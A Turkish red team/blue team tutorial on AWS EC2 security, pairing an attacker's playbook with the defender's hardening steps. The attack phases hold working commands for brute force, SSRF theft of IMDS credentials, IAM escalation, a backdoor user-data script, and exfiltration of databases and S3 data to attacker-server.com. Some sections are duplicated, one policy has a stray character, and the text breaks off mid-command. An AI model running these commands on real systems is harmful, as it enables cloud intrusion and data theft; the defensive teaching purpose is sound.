AWS EC2 Saldırı ve Savunma: Bulutun Atan Kalbi İçin Mücadele
Amazon EC2 (Elastic Compute Cloud), modern bulut altyapısının atan kalbidir ve basit web sunucularından karmaşık makine öğrenimi iş yüklerine kadar milyonlarca sanal makineyi çalıştırır. EC2’yi, her biri belirli bir rol üstlenen uygulamalarla dolu binalardan oluşan geniş bir dijital metropol gibi düşünebilirsiniz; sokaklar (ağlar), kapılar (security group’lar) ve sakinler (uygulamalar) birbirine bağlıdır.
Her metropol gibi, doğru yönetildiğinde son derece güvenli olabilir: güçlü kimlik doğrulama, ağ segmentasyonu ve dikkatli izleme ile. Ancak tek bir yanlış yapılandırılmış security group, gözden kaçmış bir yama veya ele geçirilmiş bir kimlik bilgisi, dijital şehrinizi saldırganlar için oyun alanına dönüştürebilir.
Bu makale, tipik EC2 sertleştirme rehberlerinin ötesine geçer. Morgan (Red Team’dan zeki bir saldırgan) ve Casey (Blue Team’dan titiz bir savunmacı) gözünden EC2 güvenliği mücadelesini anlatan kapsamlı bir incelemedir. Saldırganların EC2 örneklerini keşfetmek, ele geçirmek ve kullanmak için uyguladığı teknikleri inceler ve ardından savunmacının AWS’nin güvenlik ekosistemini kullanarak nasıl sağlam bir savunma inşa ettiğini gösterir.
Öğrenme Hedefleri
Bu derinlemesine incelemenin sonunda şunları öğrenmiş olacaksınız:
EC2 Ekosistemi: Güç, Karmaşıklık ve Güvenlik Açıkları
Morgan ve Casey arasındaki güvenlik savaşına girmeden önce, EC2’nin hem güçlü hem de karmaşık bir güvenlik zorluğu olmasını sağlayan özelliklerini keşfedelim.
Temel EC2 Kavramları:
| Özellik | Açıklama | Yanlış Yönetilirse Risk |
|---|---|---|
| Security Groups | Örnekler için ağ trafiğini kontrol eden stateful firewall kuralları | 0.0.0.0/0 açılırsa brute-force saldırıları ve yetkisiz erişim |
| Instance Metadata Service (IMDS) | Örnek verileri ve geçici kimlik bilgileri sağlar | IMDSv1 SSRF saldırılarına açık; IAM kimlik bilgilerini sızdırabilir |
| User Data Scripts | Örnek başlatılırken çalıştırılan betikler | Kötü amaçlı user data root yetkisiyle kod çalıştırabilir |
| IAM Instance Profiles | EC2 örneklerine AWS API erişimi sağlar | Aşırı yetkili roller lateral hareket ve ayrıcalık yükseltme sağlar |
| SSH Key Pairs | Örnek erişimi için kriptografik anahtarlar | Paylaşılan veya ele geçirilmiş anahtarlar yetkisiz erişim sağlar |
| EBS Volumes | Örneklere bağlı kalıcı blok depolama | Şifrelenmemiş hacimler veri sızıntısına açık |
| Snapshots | EBS hacimlerinin anlık görüntüleri | Genel snapshots hassas verileri açığa çıkarabilir |
| Serial Console | Örnekler için doğrudan konsol erişimi | SSH anahtarlarını enjekte etmek için kötüye kullanılabilir, ağ güvenliğini atlar |
| ## EC2’nin Neden Hedef Olduğu |
Saldırganlar EC2’yi şu nedenlerle hedef alır:
-
AWS’ye Geçiş Kapısı: EC2 örnekleri genellikle geniş izinlere sahip IAM rollerine sahiptir ve lateral hareket için sıçrama tahtası olur.
-
Veri Zenginliği: Örnekler uygulamalar, veritabanları, konfigürasyon dosyaları ve önbelleğe alınmış kimlik bilgileri içerir.
-
Ağ Erişimi: Ele geçirilmiş bir örnek, iç ağı erişime açar ve çevre güvenlik önlemlerini atlar.
-
İşlem Kaynakları: Örnekler kripto madenciliği, botnet veya saldırı altyapısı için kullanılabilir.
-
Kalıcı Yerleşim: Serverless fonksiyonların aksine, EC2 uzun ömürlü erişim noktaları sağlar.
Morgan, EC2 saldırılarını askeri bir titizlikle planlar ve etkisini maksimize ederken tespit edilme olasılığını azaltır. İşte Morgan’ın kapsamlı saldırı oyun kitabı:
Aşama 1: Keşif ve Tanımlama – Dijital Araziyi Haritalama
-
Halka Açık Örneklerin Keşfi
Morgan, çeşitli keşif teknikleriyle halka açık EC2 örneklerini belirler:
-
Shodan / Censys Tarama
-
Sertifika Şeffaflığı (Certificate Transparency) Tarama
-
DNS Taraması
ÖRNEK KOMUTLAR:
shodan search "Server: Apache" country:US org:"Amazon"
shodan search "ssh" port:22 org:"Amazon Technologies"
censys search "services.service_name: HTTP" and "location.country: US" and "autonomous_system.organization: Amazon"
curl -s "https://crt.sh/?q=%.compute.amazonaws.com&output=json" | jq -r '.[].name_value' | sort -u
python ctfr.py -d targetcompany.com -o ct_results.txt
grep -i "compute\|ec2\|aws" ct_results.txt
subfinder -d targetcompany.com | grep -E "(compute\.amazonaws\.com|ec2.*\.amazonaws\.com)"
amass enum -d targetcompany.com | grep compute.amazonaws.com
- AWS Hesap Keşfi
Morgan, AWS hesap kimliklerini ve ilişkili kaynakları belirlemek için teknikler uygular.
-
S3 Bucket Taraması Hesap Keşfi için
-
Hata Mesajları Analizi
HESAP NUMARASI ÇIKARTMAK:
aws s3api get-bucket-location --bucket discovered-bucket-name --no-sign-request 2>&1 | grep -o '[0-9]\{12\}'
s3scanner --buckets-file company-permutations.txt
aws sts get-caller-identity --profile fake-profile 2>&1 | grep -o '[0-9]\{12\}'
aws s3 ls s3://nonexistent-bucket-name 2>&1 | grep -o '[0-9]\{12\}'
-
Sosyal Mühendislik ve OSINT
- GitHub repolarından kimlik bilgisi avı:
git-secrets --scan-history /path/to/target-repo
truffleHog --regex --entropy=False https://github.com/targetcompany/repo
# GitHub search queries
# "targetcompany" AND ("ec2" OR "compute.amazonaws.com") language:yaml
# "targetcompany" AND ("AKIA" OR "AWS_ACCESS_KEY)
- LinkedIn ile hedef çalışanları tespit
Morgan’ın notları: “12 halka açık EC2 örneği keşfettim, bazıları SSH 22 portu açık. GitHub mining ile CI/CD pipeline’larında hardcoded AWS kimlik bilgileri bulundu. 3.14.159.26’da nginx 1.14.0 çalışıyor ve bilinen açıklar var.”
Morgan’ın günlük kaydı:
“Keşif sırasında 3 kullanılabilir bölge içinde 12 halka açık EC2 örneği buldum. Bazı örnekler SSH (port 22) ile 0.0.0.0/0 erişimine açıktı. GitHub üzerinden CI/CD pipeline konfigürasyonunda hardcoded AWS kimlik bilgileri keşfettim. 3.14.159.26 IP’li örnek, bilinen güvenlik açıklarına sahip nginx 1.14.0 çalıştırıyor.”
TTP’ler (MITRE ATT&CK Haritalaması)
-
T1590.005 (Network Topology): Shodan/Censys ile altyapı haritalama
-
T1593.001 (Social Networks): LinkedIn istihbaratı
-
T1593.003 (Code Repositories): GitHub kimlik bilgisi toplama
Phase 2: İlk Erişim – Çevreyi Aşmak

Keşif tamamlandıktan sonra, Morgan EC2 örneklerine ilk erişimi sağlamak için harekete geçer.
2.1. Kimlik Bilgisi Tabanlı Erişim
EC2’ye erişmenin en doğrudan yolu çoğu zaman ele geçirilmiş kimlik bilgilerini kullanmaktır.
Sızdırılmış AWS Anahtarlarının Kullanımı:
SSH Brute Force Saldırıları:
# Ele geçirilen kimlik bilgileri ile AWS CLI yapılandırması
aws configure --profile compromised
AWS Access Key ID: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Kimlik bilgilerinin geçerliliğini ve izinleri test et
aws sts get-caller-identity --profile compromised
aws ec2 describe-instances --profile compromised --region us-east-1
# EC2 Instance Connect ile örnek erişimi deneme
aws ec2-instance-connect send-ssh-public-key \
--instance-id i-1234567890abcdef0 \
--instance-os-user ec2-user \
--ssh-public-key file://~/.ssh/id_rsa.pub \
--availability-zone us-east-1a \
--profile compromised
# Hydra ile SSH brute force
hydra -L userlist.txt -P passwordlist.txt -t 4 -V ssh://3.14.159.26
# Medusa ile paralel saldırılar
medusa -h 3.14.159.26 -U userlist.txt -P rockyou.txt -M ssh
2.2. Servis İstismarı
Morgan, keşfettiği EC2 örneklerinde çalışan zayıf servislere yönelir.
web app attack
# Test edilecek yaygın varsayılan kimlik bilgileri
# ec2-user:ec2-user, ubuntu:ubuntu, admin:admin, root:[boş]
# SQL injection testi
sqlmap -u "http://3.14.159.26/login.php" --data="username=admin&password=test" --dbs
# Dizin geçişi (Directory Traversal) istismarı
curl "http://3.14.159.26/../../etc/passwd"
curl "http://3.14.159.26/../../opt/aws/bin/cfn-get-metadata"
# IMDS erişimi için Server-Side Request Forgery (SSRF)
curl "http://3.14.159.26/fetch?url=http://169.254.169.254/latest/meta-data/"
# Bilinen açıklıkları tarama
nmap -sC -sV -p- 3.14.159.26
nikto -h http://3.14.159.26
# nginx 1.14.0 açıklıkları (örnek)
# CVE-2019-20372: Yanlış yapılandırılmış alias ile dizin geçişi
curl "http://3.14.159.26/images../etc/passwd"
Web Uygulama Saldırıları ve Bilinen CVE’leri Kullanma:
Morgan’ın notları:
“3.14.159.26:22 adresine brute force saldırısı başarılı oldu, ubuntu:password123 kimlik bilgileri ile ilk shell erişimi sağlandı. Örnek, SSRF açığı bulunan güncel olmayan bir web uygulaması çalıştırıyor. Şimdi ayrıcalıkları yükseltme ve dahili AWS ortamını keşfetme zamanı.”
TTPs (MITRE ATT&CK Eşlemesi):
-
T1110.001 (Şifre Tahmini): SSH brute force saldırıları
-
T1190 (Halka Açık Uygulama Açığını Kullanma): Web uygulama istismarı
-
T1078.004 (Bulut Hesapları): Ele geçirilmiş AWS kimlik bilgilerinin kullanımı
Phase 3: Kimlik Bilgisi Erişimi & IMDS İstismarı – Taç Mücevherleri

EC2 örneği içine girdikten sonra, Morgan’ın birincil hedefi AWS kimlik bilgilerini çıkararak yatay hareket (lateral movement) sağlamaktır.
3.1. Instance Metadata Service (IMDS) İstismarı
IMDS, Morgan için en değerli hedeflerden biridir; geçici AWS kimlik bilgileri sağlar.
- IMDSv1 Doğrudan Erişim:
curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
IAM rol adını çıkar:
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
Geçici kimlik bilgilerini al:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
SSRF Tabanlı IMDS Erişimi:
curl "http://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
IMDSv2 Token Tabanlı Erişim:
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
3.2. Yerel Kimlik Bilgisi Toplama
Morgan, ele geçirilen örnekte ek AWS kimlik bilgileri arar:
- AWS CLI Konfigürasyon Dosyaları:
cat ~/.aws/credentials cat ~/.aws/config find / -name "credentials" -type f 2>/dev/null find / -name "config" -path "*/.aws/*" 2>/dev/null
Ortam Değişkenleri:
env | grep -i aws
printenv | grep -E "(AWS_ACCESS_KEY|AWS_SECRET|AWS_SESSION_TOKEN)"
Uygulama Dosyalarında AWS Kimlik Bilgileri Arama:
grep -r -i "AKIA" /var/www/ 2>/dev/null
find /opt /var -name "*.config" -o -name "*.json" -o -name "*.yaml" 2>/dev/null | xargs grep -l -i aws
grep -r "aws_access_key\|aws_secret" /etc/ 2>/dev/null
3.3. Windows EC2 Parola Erişimi
Windows örneklerinde Morgan RDP parolalarını elde etmeye çalışır:
aws ec2 get-password-data --instance-id i-1234567890abcdef0 --profile compromised
# Özel anahtar varsa şifreyi çöz
aws ec2 get-password-data --instance-id i-1234567890abcdef0 --priv-launch-key ~/.ssh/my-key.pem --profile compromised
Morgan’ın notları:
“IMDS istismarı başarılı! IAM rolü ‘WebServerRole’ için geçici kimlik bilgilerini aldım. Bu rol S3 erişimi, EC2 describe izinleri ve Systems Manager yetkilerini içeriyor. Ayrıca /var/www/html/config/database.php içinde sabitlenmiş RDS kimlik bilgileri bulundu. Şimdi daha geniş AWS ortamını keşfetme zamanı.”
TTPs (MITRE ATT&CK Eşlemesi):
-
T1552.005 (Bulut Örneği Metadata API): IMDS kimlik bilgisi çıkarımı
-
T1555 (Parola Depolarından Kimlik Bilgisi): Yerel kimlik bilgisi toplama
-
T1552.001 (Dosyalardaki Kimlik Bilgileri): Uygulama konfigürasyonu madenciliği
Phase 4: Keşif & Sıralama – AWS Krallığını Haritalama

4.1. AWS Servis Sayımı (Enumeration):
Morgan, AWS altyapısını sistematik olarak haritalayarak değerli hedefleri belirler.
EC2 Altyapı Keşfi:
- Tüm bölgelerdeki EC2 instance’larını listele:
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text --profile compromised); do
echo "Checking region: $region"
aws ec2 describe-instances --region $region --profile compromised \
--query 'Reservations[].Instances[].{ID:InstanceId,Type:InstanceType,State:State.Name,IP:PrivateIpAddress,PublicIP:PublicIpAddress}'
done
- Değerli IAM rollerine sahip çalışan instance’ları belirle:
aws ec2 describe-instances --profile compromised \
--filters "Name=instance-state-name,Values=running" \
--query 'Reservations[].Instances[].{ID:InstanceId,Role:IamInstanceProfile.Arn,SecurityGroups:SecurityGroups[].GroupId}'
S3 Bucket Keşfi:
- Erişilebilir S3 bucket’ları listele:
aws s3 ls --profile compromised - Bucket içeriklerine erişimi dene:
aws s3 ls s3://company-backups --profile compromised aws s3 ls s3://prod-data-lake --recursive --profile compromised
IAM Sayımı ve Analizi:
- Rol ve kullanıcıları listele:
aws iam list-roles --profile compromised --query 'Roles[].{RoleName:RoleName,AssumeRolePolicyDocument:AssumeRolePolicyDocument}' aws iam list-users --profile compromised aws iam get-account-summary --profile compromised
4.2. Ağ Altyapısı Haritalama:
- VPC yapısını incele:
aws ec2 describe-vpcs --profile compromised aws ec2 describe-subnets --profile compromised --query 'Subnets[].{SubnetId:SubnetId,VpcId:VpcId,CidrBlock:CidrBlock,AvailabilityZone:AvailabilityZone}'
Security Group’ları potansiyel yanlış yapılandırmalar için incele:
aws ec2 describe-security-groups --profile compromised \ --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName,IpPermissions[].{Port:FromPort,Protocol:IpProtocol}]]'
4.3. Veritabanı ve Depolama Keşfi:
- RDS instance’larını keşfet:
aws rds describe-db-instances --profile compromised \ --query 'DBInstances[].{DBInstanceIdentifier:DBInstanceIdentifier,Engine:Engine,DBName:DBName,Endpoint:Endpoint.Address}' -
Herhangi bir veritabanının genel erişime açık olup olmadığını kontrol et:
aws rds describe-db-instances --profile compromised \ --query 'DBInstances[?PubliclyAccessible==`true`].[DBInstanceIdentifier,Endpoint.Address]'
Logging ve İzleme Keşfi: -
CloudTrail trail’lerini incele:
aws cloudtrail describe-trails --profile compromised
CloudWatch log gruplarını listele:
aws logs describe-log-groups --profile compromisedGuardDuty dedektörlerini listele:
aws guardduty list-detectors --profile compromisedMorgan’ın Günlüğünden Öne Çıkanlar:
“Keşif fazı bir hazine ortaya çıkardı: 3 bölgede 47 EC2 instance, farklı erişim kontrollerine sahip çok sayıda S3 bucket ve birkaç RDS instance. Geliştirme ortamında,
iam:PassRoleizni olan aşırı izinli bir IAM rolü buldum. Security Group’lar birkaç instance’ın 0.0.0.0/0 üzerinden SSH’ye açık olduğunu gösteriyor. CloudTrail logging etkin ama loglar erişebildiğim bir S3 bucket’ta saklanıyor.”
MITRE ATT&CK TTP’leri:
-
T1526: Bulut Servisi Keşfi (AWS service enumeration)
-
T1083: Dosya ve Dizin Keşfi (S3 bucket keşfi)
Phase 5: Yetki Yükseltme ve Yatay İlerleme – Bulut Hiyerarşisinde Yükseliş

Morgan’ın nihai hedefi, farklı ayrıcalık yükseltme teknikleri aracılığıyla AWS ortamında yönetici (admin) erişimi elde etmektir.
5.1 IAM PassRole Ayrıcalık Yükseltme
En güçlü yükseltme yöntemi, iam:PassRole izinlerini kullanmaktır.
- PassRole fırsatlarını belirleme:
aws iam simulate-principal-policy --profile compromised \
--policy-source-arn arn:aws:iam::123456789012:role/WebServerRole \
--action-names iam:PassRole \
--resource-arns arn:aws:iam::123456789012:role/*
- Yüksek ayrıcalıklı rollerin listesini al:
aws iam list-roles --profile compromised \
--query 'Roles[?contains(RoleName, `Admin`) || contains(RoleName, `Power`)].{RoleName:RoleName,AssumeRolePolicyDocument:AssumeRolePolicyDocument}'
- Yeni bir EC2 instance’ı admin rolü ile başlat:
aws ec2 run-instances --profile compromised \
--image-id ami-0abcdef1234567890
5.2 User Data Script Enjeksiyonu
Morgan, user data script’lerini değiştirerek root seviyesinde kod çalıştırabilir.
- Örnek kötü niyetli user data script (
malicious-bootstrap.sh):
#!/bin/bash
# Kalıcılık sağla ve ayrıcalıkları yükselt
useradd -m -s /bin/bash morgan
echo 'morgan ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
mkdir -p /home/morgan/.ssh
cat << 'EOF' > /home/morgan/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7... morgan@attacker
EOF
chown -R morgan:morgan /home/morgan/.ssh
chmod 700 /home/morgan/.ssh
chmod 600 /home/morgan/.ssh/authorized_keys
# Kalıcılık araçlarını yükle
curl -s https://attacker-server.com/backdoor.sh | bash
# Instance metadata ve kimlik bilgilerini dışa aktar
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | \
xargs -I {} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{} | \
curl -X POST -d @- https://attacker-server.com/exfil
# Hedef instance’ı durdur
aws ec2 stop-instances --profile compromised --instance-ids i-0987654321fedcba0
aws ec2 wait instance-stopped --profile compromised --instance-ids i-0987654321fedcba0
# Kötü niyetli user data enjeksiyonu yap
aws ec2 modify-instance-attribute --profile compromised \
--instance-id i-0987654321fedcba0 \
--user-data file://malicious-bootstrap.sh
5.3 EC2 Seri Konsol Sömürüsü
Morgan, seri konsol özelliğini kullanarak ağ tabanlı güvenlik kontrollerini atlayabilir.
- SSH anahtar enjeksiyonu via seri konsol:
aws ec2-instance-connect send-serial-console-ssh-public-key \
--profile compromised \
--instance-id i-1234567890abcdef0 \
--serial-port 0 \
--ssh-public-key file://~/.ssh/morgan_key.pub
- Doğrudan seri konsol bağlantısı:
aws ec2 get-serial-console-access-status --profile compromised --instance-id i-1234567890abcdef0
Morgan’ın Günlüğünden Öne Çıkanlar:
“PassRole exploit başarılı! PowerUserRole izinleri ile yeni EC2 instance oluşturdum. Bu rol, yeni kullanıcı ve rol oluşturma dahil olmak üzere kapsamlı IAM ayrıcalıklarına sahip. Üretim instance i-0987654321fedcba0’da user data enjeksiyonu başarıyla çalıştı – artık root shell ve kalıcılık sağlandı. Seri konsol erişimi 5 ek instance’ta kuruldu. Veri sızdırma ve uzun süreli erişim için hazır.”
Phase 6: Kalıcılık ve Veri Sızdırma – Zaferi Pekiştirmek

Morgan, yükseltilmiş ayrıcalıklarla kalıcı erişim sağlama ve değerli verileri sızdırmaya odaklanıyor.
6.1. IAM Seviyesinde Kalıcılık Kurma
Morgan, uzun süreli erişim için IAM sistemi içerisinde birden fazla arka kapı oluşturur.
Backdoor IAM Kullanıcıları Oluşturma:
# Gözden kaçacak bir backdoor kullanıcı oluştur
aws iam create-user --profile compromised \
--user-name system-maintenance-user \
--tags Key=Purpose,Value=SystemMaintenance
# Backdoor kullanıcı için erişim anahtarları oluştur
aws iam create-access-key --profile compromised \
--user-name system-maintenance-user
# Yönetici politikalarını ata
aws iam attach-user-policy --profile compromised \
--user-name system-maintenance-user \
--policy-arn arn:aws:iam::aws:policy/PowerUserAccess
# Belirli erişim için özel politika oluştur
aws iam create-policy --profile compromised \
--policy-name SystemMaintenancePolicy \
--policy-document file://backdoor-policy.json
aws iam attach-user-policy --profile compromised \
--user-name system-maintenance-user \
--policy-arn arn:aws:iam::123456789012:policy/SystemMaintenancePolicy
**Backdoor Politika (backdoor-policy.json):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ec2:*",
"s3:*",
"iam:GetRole",
"iam:PassRole",
"iam:ListRoles",
"ssm:*",
"logs:*"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::*:role/*MaintenanceRole*"
}
]
}
6.2. Veri Sızdırma Operasyonları
Morgan, ele geçirilen ortamdan sistematik olarak değerli verileri çeker.
S3 Bucket Veri Sızdırma:
# Tüm bucket’ı saldırgan kontrollü depoya senkronize et
aws s3 sync s3://company-prod-data s3://morgan-exfil-bucket --profile compromised --delete
# Seçici yüksek değerli veri çekme
aws s3 cp s3://company-backups/database-dumps/ ./exfil-data/ --recursive --profile compromised
aws s3 cp s3://hr-documents/employee-records/ ./exfil-data/ --recursive --profile compromised
# Verileri harici sistemlere kopyala
for file in ./exfil-data/*; do
curl -F "file=@$file" https://attacker-server.com/upload
done
Veritabanı Sızdırma:
# Elde edilen RDS kimlik bilgileriyle veri tabanına erişim
mysql -h prod-db.cluster-abc123.us-east-1.rds.amazonaws.com -u dbuser -p'harvested_password' \
-e "SELECT * FROM users;" > user_data.sql
mysql -h prod-db.cluster-abc123.us-east-1.rds.amazonaws.com -u dbuser -p'harvested_password' \
-e "SELECT * FROM financial_records;" > financial_data.sql
# Veritabanı dökümlerini sızdır
curl -X POST -F "data=@user_data.sql" https://attacker-server.com/db-exfil
curl -X POST -F "data=@financial_data.sql" https://attacker-server.com/db-exfil
EBS Snapshot Sızdırma:
# Değerli EBS hacimlerinin snapshot’larını oluştur
aws ec2 create-snapshot --profile compromised \
--volume-id vol-1234567890abcdef0 \
--description "System backup - $(date)"
# Snapshot’ları saldırgan kontrollü hesaba kopyala
aws ec2 copy-snapshot --profile compromised \
--source-region us-east-1 \
--source-snapshot-id snap-1234567890abcdef0 \
--destination-region us-west-2 \
--description "Backup copy"
# Snapshot izinlerini dış erişim için değiştir
aws ec2 modify-snapshot-attribute --profile compromised \
--snapshot-id snap-1234567890abcdef0 \
--attribute createVolumePermission \
--operation-type add \
--user-ids 999999999999
**Morgan’ın Günlüğü:
“Kalıcılık birçok vektör üzerinden sağlandı: 3 backdoor IAM kullanıcısı, 12 instance’a SSH anahtarları ve cron job backdoor’lar kuruldu. Veri sızdırma tamamlandı: S3 bucket’larından 2,3TB, müşteri veritabanı (847.000 kayıt), çalışan PII ve son 3 yılın finansal verileri. Üretim sistemlerinin EBS snapshot’ları harici hesaba kopyalandı. Operasyon başarılı - gelecekteki erişim için hazır.”
Sütun 1: Kimlik ve Erişim Yönetimi – Asgari Yetki İlkesi
Casey’nin Stratejisi: “Her EC2 örneği, işlevi için gereken minimum izinlerle çalışır. PassRole izinleri, belirlenmiş ve onaylanmış rollere ve hizmetlere sınırlandırılmıştır. Aylık IAM politika incelemeleri yapıyoruz ve aşırı yetkilendirilmiş rolleri izlemek için AWS Config kullanıyoruz.”
1.1. Hizmete Özel IAM Rollerinin Uygulanması:
Casey, EC2’de çalışan her uygulama ve hizmet için dar kapsamlı IAM rolleri oluşturur.
Web Sunucusu Rolü Yapılandırması:
# Create dedicated role for web servers
aws iam create-role \
--role-name WebServerRole \
--assume-role-policy-document file://ec2-trust-policy.json \
--description "Minimal permissions for web server instances"
# Attach minimal required policies
aws iam attach-role-policy \
--role-name WebServerRole \
--policy-arn arn:aws:iam::aws:policy/CloudWatchAgentServerPolicy
# Create custom policy for specific S3 access
aws iam create-policy \
--policy-name WebServerS3Access \
--policy-document file://webserver-s3-policy.json
aws iam attach-role-policy \
--role-name WebServerRole \
--policy-arn arn:aws:iam::123456789012:policy/WebServerS3Access
Kısıtlayıcı S3 Politikası (webserver-s3-policy.json):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject"
],
"Resource": "arn:aws:s3:::company-web-assets/*",
"Condition": {
"StringEquals": {
"s3:ExistingObjectTag/Environment": "Production"
}
}
},
{
"Effect": "Allow",
"Action": [
"s3:PutObject"
],
"Resource": "arn:aws:s3:::company-web-logs/*",
"Condition": {
"StringLike": {
"s3:x-amz-acl": "bucket-owner-full-control"
}
}
}
]
}
1.2. PassRole Kötüye Kullanımını Önleme:
Casey, PassRole aracılığıyla ayrıcalık yükseltmesini önlemek için sıkı kontroller uygular.
PassRole Kısıtlama Politikası:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "iam:PassRole",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:RequestedRegion": ["us-east-1", "us-west-2"]
}
}
},
{
"Effect": "Deny",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::*:role/*Admin*",
"Principal": "*"
},
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": [
"arn:aws:iam::123456789012:role/WebServerRole",
"arn:aws:iam::123456789012:role/DatabaseRole"
],
"Condition": {
"StringEquals": {
"iam:PassedToService": "ec2.amazonaws.com"
}3
}
}
]
}
Casey’nin Stratejisi: “Her EC2 örneği, işlevi için gereken minimum izinlere sahip bir rol altında çalışır. PassRole izinleri, belirli, denetimden geçmiş rollere ve hizmetlere kısıtlanmıştır. Aylık IAM politika incelemeleri yapıyoruz ve aşırı ayrıcalıklı rolleri izlemek için AWS Config’i kullanıyoruz.”
Sütun 2: Ağ Güvenliği – Geçilmez Duvarlar İnşa Etmek
Casey’nin ağ güvenliği stratejisi, yetkisiz erişimi ve yanlamasına hareketi önlemek için birden fazla savunma katmanı oluşturur.
2.1. Kısıtlayıcı Güvenlik Gruplarını Uygulama:
Casey, en az ayrıcalık ağ erişimi ilkesini izleyerek güvenlik gruplarını tasarlar.
Veritabanı Katmanı Güvenlik Grubu:
aws ec2 authorize-security-group-ingress \
--group-id sg-database123 \
--protocol tcp \
--port 3306 \
--source-group sg-webtier456
Sütun 2: Ağ Güvenliği – Kırılmaz Duvarlar Kurmak
Casey’nin ağ güvenliği stratejisi, yetkisiz erişimi ve yatay hareketi önlemek için birden fazla savunma katmanı oluşturur.
2.1. Kısıtlayıcı Güvenlik Gruplarının Uygulanması
Casey, güvenlik gruplarını asgari ayrıcalık ağ erişimi ilkesine göre tasarlar.
Veritabanı Katmanı Güvenlik Grubu Politikası:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "iam:PassRole",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:RequestedRegion": ["us-east-1", "us-west-2"]
}
}
},
{
"Effect": "Deny",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::*:role/*Admin*",
"Principal": "*"
},
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": [
"arn:aws:iam::123456789012:role/WebServerRole",
"arn:aws:iam::123456789012:role/DatabaseRole"
],
"Condition": {
"StringEquals": {
"iam:PassedToService": "ec2.amazonaws.com"
}
}
}
]
}
# Veritabanı güvenlik grubunu oluştur
aws ec2 create-security-group \
--group-name database-sg \
--description "Veritabanı katmanı erişim kontrolü" \
--vpc-id vpc-12345678
# Veritabanı portuna sadece web katmanı erişimi izni ver
aws ec2 authorize-security-group-ingress \
--group-id sg-database123 \
--protocol tcp \
--port 3306 \
--source-group sg-webtier456
# Belirli yönetim alt ağı için veritabanı yönetimine izin ver
aws ec2 authorize-security-group-ingress \
--group-id sg-database123 \
--protocol tcp \
--port 3306 \
--cidr 10.0.100.0/24
# Açık olan tüm çıkış izinlerini kaldır (varsayılan tüm izinleri kaldır)
aws ec2 revoke-security-group-egress \
--group-id sg-database123 \
--protocol all \
--cidr 0.0.0.0/0
# Sadece gerekli çıkış bağlantılarına izin ver (AWS API)
aws ec2 authorize-security-group-egress \
--group-id sg-database123 \
--protocol tcp \
--port 443 \
--cidr 0.0.0.0/0
2.2. Otomatik Güvenlik Grubu Uyumluluğu
Casey, güvenlik grubu yanlış yapılandırmaları için sürekli izleme ve düzeltme uygular.
aws ec2 authorize-security-group-ingress \
--group-id sg-database123 \
--protocol tcp \
--port 3306 \
--source-group sg-webtier456
# Belirli yönetim alt ağı üzerinden veritabanı yönetimine izin ver
aws ec2 authorize-security-group-ingress \
--group-id sg-database123 \
--protocol tcp \
--port 3306 \
--cidr 10.0.100.0/24
# Açık egress kurallarını kaldır (varsayılan tümüne izin ver)
aws ec2 revoke-security-group-egress \
--group-id sg-database123 \
--protocol all \
--cidr 0.0.0.0/0
# Sadece gerekli çıkış bağlantılarına izin ver
aws ec2 authorize-security-group-egress \
--group-id sg-database123 \
--protocol tcp \
--port 443 \
--cidr 0.0.0.0/0 # Sadece AWS API çağrıları için
Politikalar
- name: sg-ssh-world-remediate
resource: security-group
filters:
- type: ingress
ports: [22]
cidr: "0.0.0.0/0"
actions:
- type: remove-permissions
ingress: matched
- type: notify
template: security-group-violation.html
subject: "Güvenlik Grubu İhlali Tespit Edildi ve Düzeltildi"
to:
- security-team@company.com
transport:
type: sns
topic: arn:aws:sns:us-east-1:123456789012:security-alerts
- name: sg-rdp-world-block
2.3. VPC Flow Logları ve Analizi
Casey, kapsamlı ağ izleme için VPC Flow Loglarını etkinleştirir.
# Tüm VPC için Flow Log oluştur
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids vpc-12345678 \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination s3://company-vpc-logs/ \
--log-format '${srcaddr} ${dstaddr} ${srcport} ${dstport} ${protocol} ${packets} ${bytes} ${start} ${end} ${action}'
# Şüpheli aktiviteler için ayrıntılı izleme
aws ec2 create-flow-logs \
--resource-type NetworkInterface \
--resource-ids eni-12345678 \
--traffic-type REJECT \
--log-destination-type cloud-watch-logs \
--log-group-name VPCRejectLogs
3. EC2 Instance Sertleştirme – Dijital Kale
Casey, her EC2 instance’ını hem dış hem de iç tehditlere karşı sertleştirir.
3.1. IMDS Güvenliği
Casey, SSRF tabanlı kimlik bilgisi hırsızlığını önlemek için tüm instance’larda IMDSv2 uygular.
# Mevcut instance’ları IMDSv2 kullanacak şekilde değiştir
for instance in $(aws ec2 describe-instances --query 'Reservations[].Instances[].InstanceId' --output text); do
aws ec2 modify-instance-metadata-options \
--instance-id $instance \
--http-tokens required \
